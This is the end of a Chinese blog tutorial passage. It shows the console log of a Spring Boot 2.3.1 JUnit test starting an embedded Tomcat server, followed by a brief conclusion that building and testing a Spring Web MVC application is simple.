annotated with @DirtiesContext [false] with mode [null]. 13:31:04.267 [main] DEBUG org.springframework.test.context.support.DependencyInjectionTestExecutionListener - Performing dependency injection for test context [[DefaultTestContext@6cd28fa7 testClass = Chapter0302junitApplicationTests, testInstance = com.cloud.skyme.Chapter0302junitApplicationTests@31fa1761, testMethod = [null], testException = [null], mergedContextConfiguration = [WebMergedContextConfiguration@614ca7df testClass = Chapter0302junitApplicationTests, locations = '{}', classes = '{class com.cloud.skyme.Chapter0302junitApplication}', contextInitializerClasses = '[]', activeProfiles = '{}', propertySourceLocations = '{}', propertySourceProperties = '{org.springframework.boot.test.context.SpringBootTestContextBootstrapper=true, server.port=0}', contextCustomizers = set[org.springframework.boot.test.context.filter.ExcludeFilterContextCustomizer@3b07a0d6, org.springframework.boot.test.json.DuplicateJsonObjectContextCustomizerFactory$DuplicateJsonObjectContextCustomizer@14d3bc22, org.springframework.boot.test.mock.mockito.MockitoContextCustomizer@0, org.springframework.boot.test.web.client.TestRestTemplateContextCustomizer@45b9a632, org.springframework.boot.test.autoconfigure.properties.PropertyMappingContextCustomizer@0, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverContextCustomizerFactory$Customizer@5e316c74, org.springframework.boot.test.context.SpringBootTestArgs@1], resourceBasePath = 'src/main/webapp', contextLoader = 'org.springframework.boot.test.context.SpringBootContextLoader', parent = [null]], attributes = map['org.springframework.test.context.web.ServletTestExecutionListener.activateListener' -> false]]].
13:31:04.306 [main] DEBUG org.springframework.test.context.support.TestPropertySourceUtils - Adding inlined properties to environment: {spring.jmx.enabled=false, org.springframework.boot.test.context.SpringBootTestContextBootstrapper=true, server.port=0}

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \ ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \ \\/ ___)| |_)| | | | | || (_| | ) ) ) ) ' |____| .__|_| |_|_| |_\__, | / / / / =========|_|==============|___/=/_/_/_/ :: Spring Boot :: (v2.3.1.RELEASE) 2020-06-28 13:31:04.940 INFO 8376 --- [ main] c.c.s.Chapter0302junitApplicationTests : Starting Chapter0302junitApplicationTests on WIN-55FHBQI56BD with PID 8376 (started by Administrator in C:\java\workspace\microservice\chapter0302junit) 2020-06-28 13:31:04.942 INFO 8376 --- [ main] c.c.s.Chapter0302junitApplicationTests : No active profile set, falling back to default profiles: default 2020-06-28 13:31:09.134 INFO 8376 --- [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat initialized with port(s): 0 (http) 2020-06-28 13:31:09.160 INFO 8376 --- [ main] o.apache.catalina.core.StandardService : Starting service [Tomcat] 2020-06-28 13:31:09.161 INFO 8376 --- [ main] org.apache.catalina.core.StandardEngine : Starting Servlet engine: [Apache Tomcat/9.0.36] 2020-06-28 13:31:09.372 INFO 8376 --- [ main] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring embedded WebApplicationContext 2020-06-28 13:31:09.372 INFO 8376 --- [ main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 4316 ms 2020-06-28 13:31:10.029 INFO 8376 --- [ main] o.s.s.concurrent.ThreadPoolTaskExecutor : Initializing ExecutorService 'applicationTaskExecutor' 2020-06-28 13:31:10.655 INFO 8376 --- [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat started on port(s): 59724 (http) with context path '' 2020-06-28 13:31:10.673 INFO 8376 --- [ main] c.c.s.Chapter0302junitApplicationTests : Started Chapter0302junitApplicationTests in 6.362 seconds (JVM running for 8.218) 2020-06-28 13:31:11.423 INFO 8376 --- [o-auto-1-exec-1] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring DispatcherServlet 'dispatcherServlet' 2020-06-28 13:31:11.423 INFO 8376 --- [o-auto-1-exec-1] o.s.web.servlet.DispatcherServlet : Initializing Servlet 'dispatcherServlet' 2020-06-28 13:31:11.461 INFO 8376 --- [o-auto-1-exec-1] o.s.web.servlet.DispatcherServlet : Completed initialization in 37 ms controller 2020-06-28 13:31:13.497 INFO 8376 --- [extShutdownHook] o.s.s.concurrent.ThreadPoolTaskExecutor : Shutting down ExecutorService 'applicationTaskExecutor'

 

 這樣,一個web應用從構建到單元測試就都已經完成了,可見,構建一個Spring Web MVC的應用就是如此簡單。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心